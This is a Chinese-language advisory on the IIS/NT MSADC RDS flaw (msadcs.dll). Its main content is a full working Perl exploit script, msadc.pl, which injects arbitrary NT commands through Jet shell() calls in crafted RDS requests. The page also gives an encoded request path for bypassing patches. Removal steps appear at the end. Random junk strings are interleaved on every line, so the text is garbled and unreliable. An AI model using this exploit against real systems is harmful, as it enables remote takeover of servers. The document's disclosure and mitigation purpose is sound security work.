IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
K4+ |K:e z@V9%xF-3 涉及程序：
cSNeWJKA6 Microsoft NT server
5uOz #hN tkkh<5{C
描述：
Aon.Y Z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
#!%zf{(C+
ls7P$qq 详细：
*OIBMx#qxn 如果你没有时间读详细内容的话，就删除:
y$_]}<b c:\Program Files\Common Files\System\Msadc\msadcs.dll
F%af05L[ 有关的安全问题就没有了。
ET 0(/Zz OdNcuiLa 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
N8x.D-=gG LafBf6wds 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
JNJ6HyCU 关于利用ODBC远程漏洞的描述，请参看:
7s!rer> (d
(>0YMv http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm n}fV$qu ^tI&5S]nE 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
4x3 _8/= http://www.microsoft.com/security/bulletins/MS99-025faq.asp VeZd\Oe )0"T?Ivp] 这里不再论述。
Kp1 F "! " vc4QH$ 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
Z glU{sU %y*'bS /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
$J,$_O6 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
:nc%:z=O o_[~{@ RoR W}}ZP]; #将下面这段保存为txt文件，然后: "perl -x 文件名"
&^ uaoB0 YI > xxWA #!perl
U>m{B|H #
^N
4Y*NtV7 # MSADC/RDS 'usage' (aka exploit) script
51H6
W/$ #
`P-d. M6Oa # by rain.forest.puppy
k B4Fz #
0uPcEpIA # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
%L7D C` # beta test and find errors!
'zT7$ .L NYs<`6P:Y use Socket; use Getopt::Std;
pF8:?p['z getopts("e:vd:h:XR", \%args);
O,
:| 7!FiPH~kM print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
#F2DEo^0 pY&dw4V if (!defined $args{h} && !defined $args{R}) {
!dcvG9JZ print qq~
9F6dKPN: Usage: msadc.pl -h <host> { -d <delay> -X -v }
<w8H[y"c -h <host> = host you want to scan (ip or domain)
}1+2&Ps50 -d <seconds> = delay between calls, default 1 second
#N64ZXz_ -X = dump Index Server path table, if available
Aw4)=-LKO -v = verbose
v)nv"o[ -e = external dictionary file for step 5
WX _g DB_oRr[oj Or a -R will resume a command session
a|3+AWL% j
\d) #+; ~; exit;}
m39.j :BG5 j] 5e$e{ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
EM +! ph if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
hb/Z {T' if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
P c5C*{C if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
>TawJ"q-6R $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
B> \q!dX3 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
^gpd '*b [eTEK W] if (!defined $args{R}){ $ret = &has_msadc;
^nOh 8L; die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
[z= !OFdE \VW":+ print "Please type the NT commandline you want to run (cmd /c assumed):\n"
;'Z"CbS+ . "cmd /c ";
w
T_l>u $in=<STDIN>; chomp $in;
l b=fS% $command="cmd /c " . $in ;
xCT2FvX6 $*P + if (defined $args{R}) {&load; exit;}
:6EX-Xyj [O!/hppN print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
erTly2-SJ &try_btcustmr;
(I>S qM
Y I|c?*~7* print "\nStep 2: Trying to make our own DSN...";
0R(['s:3` &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
JbXi|OS/ bGlr>@;-r print "\nStep 3: Trying known DSNs...";
m\|EM'@k &known_dsn;
3i9~'j;F3 5 <7sVd. print "\nStep 4: Trying known .mdbs...";
#aKUD &known_mdb;
N#X*
0i" 0P;LH3sx if (defined $args{e}){
UGoB7TEfn print "\nStep 5: Trying dictionary of DSN names...";
Sa:;j4 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
pM*(
kN 2>Qy* print "Sorry Charley...maybe next time?\n";
?MvL}o\| exit;
"R%
RI(
y{ 5BM6Pnle ##############################################################################
[ -R[rF Xp fw2;`U' sub sendraw { # ripped and modded from whisker
bj?=\u sleep($delay); # it's a DoS on the server! At least on mine...
GB)< 5I my ($pstr)=@_;
LK>;\B Re? socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
s/P+?8'9 die("Socket problems\n");
]Z*B17// if(connect(S,pack "SnA4x8",2,80,$target)){
iY5V4Gbo select(S); $|=1;
pLMaXX~4_ print $pstr; my @in=<S>;
S&c5Q*->[ select(STDOUT); close(S);
d$n<^ ~Z return @in;
$A T kCO } else { die("Can't connect...\n"); }}
VaO[SW^ 0 *AXd=)"* ##############################################################################
\\`(x:\ #jPn7 sub make_header { # make the HTTP request
p xW*kS my $msadc=<<EOT
gE8>o:6)6: POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
}|Bs|$q User-Agent: ACTIVEDATA
`A8Er fA Host: $ip
WzBr1
ea{I Content-Length: $clen
X u|2@ ?l9 Connection: Keep-Alive
V$dhiP
z x_wWe>0 ADCClientVersion:01.06
B_XX)y %V Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
c Ze59 QI78/gT,d --!ADM!ROX!YOUR!WORLD!
; {v2s; Content-Type: application/x-varg
SEH[6W3 Content-Length: $reqlen
a TPq1u z8xBq%97us EOT
al7D3J ; $msadc=~s/\n/\r\n/g;
4^:$|\?] return $msadc;}
y>^0q/=]?O q)J5tBfJ ##############################################################################
Bi>]s%zp aDu[iaZ sub make_req { # make the RDS request
p+y"r4 my ($switch, $p1, $p2)=@_;
R]0`- _T my $req=""; my $t1, $t2, $query, $dsn;
@3bVjQ`4f n+nZ;GJ5d if ($switch==1){ # this is the btcustmr.mdb query
(;-_j / $query="Select * from Customers where City=" . make_shell();
)UyJ.!Fl y $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
6E.[F\u $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
L$y~\1- G#A6<e/ elsif ($switch==2){ # this is general make table query
"F4 3q8 P $query="create table AZZ (B int, C varchar(10))";
7OS i2 $dsn="$p1";}
0f_A"K [ 6Sk>j elsif ($switch==3){ # this is general exploit table query
!T
9CpIM% $query="select * from AZZ where C=" . make_shell();
{SD%{ $dsn="$p1";}
%,zHS?)l / vu]ch elsif ($switch==4){ # attempt to hork file info from index server
k;)mc+ ~+ $query="select path from scope()";
$8SSu|O+ x $dsn="Provider=MSIDXS;";}
1/K1e$ r
'( g;nU< elsif ($switch==5){ # bad query
w\{#nrhYU $query="select";
-)R
=p"-w $dsn="$p1";}
9}Ge@a<j D0z[h(m $t1= make_unicode($query);
VN'\c3; $t2= make_unicode($dsn);
r 3KNRr@ $req = "\x02\x00\x03\x00";
\,r* -jr $req.= "\x08\x00" . pack ("S1", length($t1));
C%CgWO`Xj $req.= "\x00\x00" . $t1 ;
xvomn`X1 $req.= "\x08\x00" . pack ("S1", length($t2));
Hi*|f!,H? $req.= "\x00\x00" . $t2 ;
1}+b4 "7] $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
CF@*ki3 X return $req;}
&xGpbJG S4-jF D)U ##############################################################################
:"H? phk 5% }!z~8Y4 sub make_shell { # this makes the shell() statement
S.q0L return "'|shell(\"$command\")|'";}
.k
+>T*c{ 'GiN^Y9dcc ##############################################################################
!hHX8TD^J axq~56"7E sub make_unicode { # quick little function to convert to unicode
\fuz`fK: my ($in)=@_; my $out;
Q]3]Z/i for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
#f/4%|t: return $out;}
t%0c$c )=MK&7 2r ##############################################################################
Q1rEUbvCE q y wl
G sub rdo_success { # checks for RDO return success (this is kludge)
3IB9- wG my (@in) = @_; my $base=content_start(@in);
u3E =r if($in[$base]=~/multipart\/mixed/){
*: :.Uo4O return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Ei\>gXTH1- return 0;}
5`g VziS!S ^u1Nb o ##############################################################################
m^3j|'mG T?6<1nU) sub make_dsn { # this makes a DSN for us
C=v+e%)x@ my @drives=("c","d","e","f");
*+2_!=4V print "\nMaking DSN: ";
|v 5
ge3- foreach $drive (@drives) {
PAtv#)h print "$drive: ";
uOy/c 8` my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
DuD t' ^] "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
8oXp8CC . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
s S#/JLDx] $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
!!)$?R;1 return 0 if $2 eq "404"; # not found/doesn't exist
ZGsd cnz if($2 eq "200") {
hvNK"^\p foreach $line (@results) {
a? 8)47) return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qSG0TWD!pq } return 0;}
,Z _@]D@ jm@M"b'{ ##############################################################################
+`>E_+Mp 3 H5 sub verify_exists {
ksueP MIK my ($page)=@_;
A9u>bWIE7 my @results=sendraw("GET $page HTTP/1.0\n\n");
nvXjW@)` return $results[0];}
A# 19&} LL) t ) ##############################################################################
^Jq('@ )oz2V9X{ sub try_btcustmr {
Mx`';z8~ my @drives=("c","d","e","f");
VNIl%9:-l my @dirs=("winnt","winnt35","winnt351","win","windows");
VP^Yf_ x= Oy 6" foreach $dir (@dirs) {
wy${EY^h print "$dir -> "; # fun status so you can see progress
YM'4=BlJHv foreach $drive (@drives) {
$@71 w~ y print "$drive: "; # ditto
As,e.V5! $reqlen=length( make_req(1,$drive,$dir) ) - 28;
ag47 $9( $reqlenlen=length( "$reqlen" );
g<M!]0OK $clen= 206 + $reqlenlen + $reqlen;
-l[$+Kw1S II.: k.D` my @results=sendraw(make_header() . make_req(1,$drive,$dir));
r<!nU&FPD: if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
xT*c## else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
ss-6b^ ) 5$?e ##############################################################################
'ROz| iJ ~wv$uL8y sub odbc_error {
YW/V}C'> my (@in)=@_; my $base;
~&qv[XS my $base = content_start(@in);
NW`.7'aWT if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
UdM2!f $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
M|%bxG^l $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y:,C_^$w; $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
BSg T
6K return $in[$base+4].$in[$base+5].$in[$base+6];}
w?|qKO print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
Pvi2j&W84 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
([>__c/ Nd $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
un-%p# K|-m6!C!7 ##############################################################################
LDHu10l 7]T(=gg / sub verbose {
M 80Q6 K my ($in)=@_;
la-:"gKC return if !$verbose;
GU2TQx{V print STDOUT "\n$in\n";}
sRT H_]c E wFq1~ ##############################################################################
w->Y92q] t^YtP3`?b sub save {
hB.8\-}QMq my ($p1, $p2, $p3, $p4)=@_;
!'F1Ht open(OUT, ">rds.save") || print "Problem saving parameters...\n";
m+ s*Io{Ip print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
3Q=\W<Wu close OUT;}
xp95KxHHo }kvix{ ##############################################################################
,;w ~ VZ4 ZZo<0kDk sub load {
# M/n\em"X my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
uE9,N$\L_ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Q> y! @p=<IN>; close(IN);
IA. 7If&k $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
{O y|c $target= inet_aton($ip) || die("inet_aton problems");
sZ&|omN print "Resuming to $ip ...";
L@AFt )U $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
SQ[D2v if($p[1]==1) {
b:Zh|- $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
A"b31*_ $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
Q`AlK"G, my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
-sJD:G,% if (rdo_success(@results)){print "Success!\n";}
7A(4`D J else { print "failed\n"; verbose(odbc_error(@results));}}
zqNzWX elsif ($p[1]==3){
@#,/6s7? if(run_query("$p[3]")){
Bx |W#:3e print "Success!\n";} else { print "failed\n"; }}
vMou`[\WlJ elsif ($p[1]==4){
}O@>:?U if(run_query($drvst . "$p[3]")){
WcKDerc print "Success!\n"; } else { print "failed\n"; }}
QH(&Cu , exit;}
]YhQQH1> ] ^\O*e) #* ##############################################################################
#1'q'f:7 & zu
@|"f^` sub create_table {
d> ) =| my ($in)=@_;
`Pj7:[."[ $reqlen=length( make_req(2,$in,"") ) - 28;
6z U $reqlenlen=length( "$reqlen" );
SEzjc ~ @3 $clen= 206 + $reqlenlen + $reqlen;
`Ze$Bd\ my @results=sendraw(make_header() . make_req(2,$in,""));
iEtR<R>= return 1 if rdo_success(@results);
g tMR/P:S my $temp= odbc_error(@results); verbose($temp);
o ;Z"I & return 1 if $temp=~/Table 'AZZ' already exists/;
#?S"y: return 0;}
BI)C\D3[ @Drl5C}+ ##############################################################################
p! :oT1U 1 PdG1' sub known_dsn {
&&C70+_po # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
m"Mj3Z: my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
-avxH?;?7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
8/)\nV$0Y "banner", "banners", "ads", "ADCDemo", "ADCTest");
\ [[xyd '1 2*'Q+{+ foreach $dSn (@dsns) {
VZcW
3/Y print ".";
R~a 9}& next if (!is_access("DSN=$dSn"));
d38o*+JCf if(create_table("DSN=$dSn")){
_w?!Mu print "$dSn successful\n";
[#@lsI if(run_query("DSN=$dSn")){
M("sekL print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
FNLS=4 print "Something's borked. Use verbose next time\n";}}} print "\n";}
? eX$Wc{ NCi~. I ##############################################################################
a~LA&>@ ]!S#[Wt {k sub is_access {
Ygg+=@].@ my ($in)=@_;
8d '/w}GV $reqlen=length( make_req(5,$in,"") ) - 28;
:,p3&2 I $reqlenlen=length( "$reqlen" );
X$u l=iBs $clen= 206 + $reqlenlen + $reqlen;
c %Y *XJ' my @results=sendraw(make_header() . make_req(5,$in,""));
\2El>> my $temp= odbc_error(@results);
2l V`UIa verbose($temp); return 1 if ($temp=~/Microsoft Access/);
e^\(bp+83
return 0;}
q'H6oD ` Gl{'a1 ##############################################################################
-6_<] * wqR .n? sub run_query {
!p\
@1? my ($in)=@_;
R=Lkf $reqlen=length( make_req(3,$in,"") ) - 28;
n3V$Xtxw $reqlenlen=length( "$reqlen" );
n=d#Fm0< $clen= 206 + $reqlenlen + $reqlen;
={o4lFe3v( my @results=sendraw(make_header() . make_req(3,$in,""));
^=-25% &^ return 1 if rdo_success(@results);
+7WpJ;C4 my $temp= odbc_error(@results); verbose($temp);
8%4v6No&* return 0;}
GfP' d/oD]aAEr ##############################################################################
%CQa8<q ;A"i .:ZT sub known_mdb {
^o Ds*F my @drives=("c","d","e","f","g");
Bf^K?:r"V my @dirs=("winnt","winnt35","winnt351","win","windows");
mg70%=qM0f my $dir, $drive, $mdb;
SI6?b1;-:F my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
23=wz%tF Tp~Qg{%Og # this is sparse, because I don't know of many
H
9/m6F my @sysmdbs=( "\\catroot\\icatalog.mdb",
z/5TYv)S "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
=Ldf#8J "\\system32\\certmdb.mdb",
mrsN@(X0 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
DD7D&@As 1$ }Tn my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
pkG8g5(w "\\cfusion\\cfapps\\forums\\forums_.mdb",
):=8w.yC "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
c2GTN " "\\cfusion\\cfapps\\security\\realm_.mdb",
|,.1=| &u "\\cfusion\\cfapps\\security\\data\\realm.mdb",
a&mL Dh/ "\\cfusion\\database\\cfexamples.mdb",
hQzT
=0 "\\cfusion\\database\\cfsnippets.mdb",
=VWH8w .3 "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
_q-k1$ o$ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
i[3 3u p "\\cfusion\\brighttiger\\database\\cleam.mdb",
<dS I"C< "\\cfusion\\database\\smpolicy.mdb",
4ee- tKH "\\cfusion\\database\cypress.mdb",
@1k-h;`, "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
i-95>ff "\\website\\cgi-win\\dbsample.mdb",
/^~)iTwH "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
[8DPZU@ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
|a0@4
: ); #these are just
b83m'`vRM foreach $drive (@drives) {
{Aj=Rj@ foreach $dir (@dirs){
6: R1jF*eG foreach $mdb (@sysmdbs) {
Kx;l a print ".";
,4,./wIq if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
"[_gRe*2 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.nA9irc if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
qssK 0!- print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
gZz5P>^ } else { print "Something's borked. Use verbose next time\n"; }}}}}
2R3)/bz-SV nob}}w] ~C foreach $drive (@drives) {
EUPc+D3 foreach $mdb (@mdbs) {
1NN#-U print ".";
3P'Wk|j if(create_table($drv . $drive . $dir . $mdb)){
H7 {kl print "\n" . $drive . $dir . $mdb . " successful\n";
*'@T+$3s if(run_query($drv . $drive . $dir . $mdb)){
u3 4.
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
)h%tEY$AJ } else { print "Something's borked. Use verbose next time\n"; }}}}
?O#"x{Pk }
;
jJ%< )RT:u)N ##############################################################################
k <LFH( SmP&wNHQ f sub hork_idx {
%wq;<'W print "\nAttempting to dump Index Server tables...\n";
nG|
NRp print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
9$R}GK $reqlen=length( make_req(4,"","") ) - 28;
o Hethk $reqlenlen=length( "$reqlen" );
f F9=zrW $clen= 206 + $reqlenlen + $reqlen;
#.@D}7y5 my @results=sendraw2(make_header() . make_req(4,"",""));
:u?L
y[x if (rdo_success(@results)){
/ \k\HK8 my $max=@results; my $c; my %d;
AHP; N6Y6 for($c=19; $c<$max; $c++){
j;&su=p" $results[$c]=~s/\x00//g;
1|7t q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
ZlL]AD@ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_/}/1/y$Y $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
0{47 TX*YX $d{"$1$2"}="";}
Y c>.P foreach $c (keys %d){ print "$c\n"; }
[jKhC<t} } else {print "Index server doesn't seem to be installed.\n"; }}
>s ;dooZ @ql S #( ##############################################################################
{ =IAS} t \,X G sub dsn_dict {
5k<0>6;XH open(IN, "<$args{e}") || die("Can't open external dictionary\n");
-h&KC{Xab while(<IN>){
6"c(5#H $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
rn-CQ2{? next if (!is_access("DSN=$dSn"));
'iEu1! t\0 if(create_table("DSN=$dSn")){
TD W\n print "$dSn successful\n";
z7O$o/E-* if(run_query("DSN=$dSn")){
2?(dS print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
:>m67Zq print "Something's borked. Use verbose next time\n";}}}
.QM>^(o$Z print "\n"; close(IN);}
#J* hZ(Pq &^K,"a{ ##############################################################################
Au{J/G<W@ YyD0g9{ sub sendraw2 { # ripped and modded from whisker
2j-^F sleep($delay); # it's a DoS on the server! At least on mine...
6fw2 ;$x" my ($pstr)=@_;
iiTt{ab\Y socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#HmZe98[% die("Socket problems\n");
"|d# +C if(connect(S,pack "SnA4x8",2,80,$target)){
mW 'sdb print "Connected. Getting data";
1C< @QrT open(OUT,">raw.out"); my @in;
Hus.Jfam select(S); $|=1; print $pstr;
m Bg$eiGTB while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
c#`&uLp close(OUT); select(STDOUT); close(S); return @in;
|aS272' } else { die("Can't connect...\n"); }}
)cB O_
$VUX?ii$7= ##############################################################################
9%^O-8! =r>u'wRQ sub content_start { # this will take in the server headers
Isg\ fSK<j my (@in)=@_; my $c;
^_G@a, for ($c=1;$c<500;$c++) {
9qX)FB@'i; if($in[$c] =~/^\x0d\x0a/){
fsUZG6 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
! +X reCw else { return $c+1; }}}
^.@F1k return -1;} # it should never get here actually
K4Hu0 ^W ,~ ##############################################################################
)H[Pz.'ah0 k83S.*9Mx sub funky {
^BhS* my (@in)=@_; my $error=odbc_error(@in);
jUd)|v+t if($error=~/ADO could not find the specified provider/){
:HkX sZ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
!p{CsR8c exit;}
n|eM}ymF+ if($error=~/A Handler is required/){
80 ck h print "\nServer has custom handler filters (they most likely are patched)\n";
@k-iy-|3 ) exit;}
w7b\?]}@ if($error=~/specified Handler has denied Access/){
ZMO ym= print "\nServer has custom handler filters (they most likely are patched)\n";
FPu kV^ exit;}}
\"6?*L|] Yp EH(tq ##############################################################################
t_jnp $1m y'm5Z-@o6 sub has_msadc {
V{n7KhN~Y! my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
>Xw0i\G my $base=content_start(@results);
Q+ZZwq yxD return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
#O^%u,mJj return 0;}
Tb}op XYK Q2<v: *L ########################
40} 7O<9* 2ae"Sd!-2 -lm)x pp1 解决方案：
rG3?Z^&R+ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
61](a;Di 2、移除web 目录: /msadc
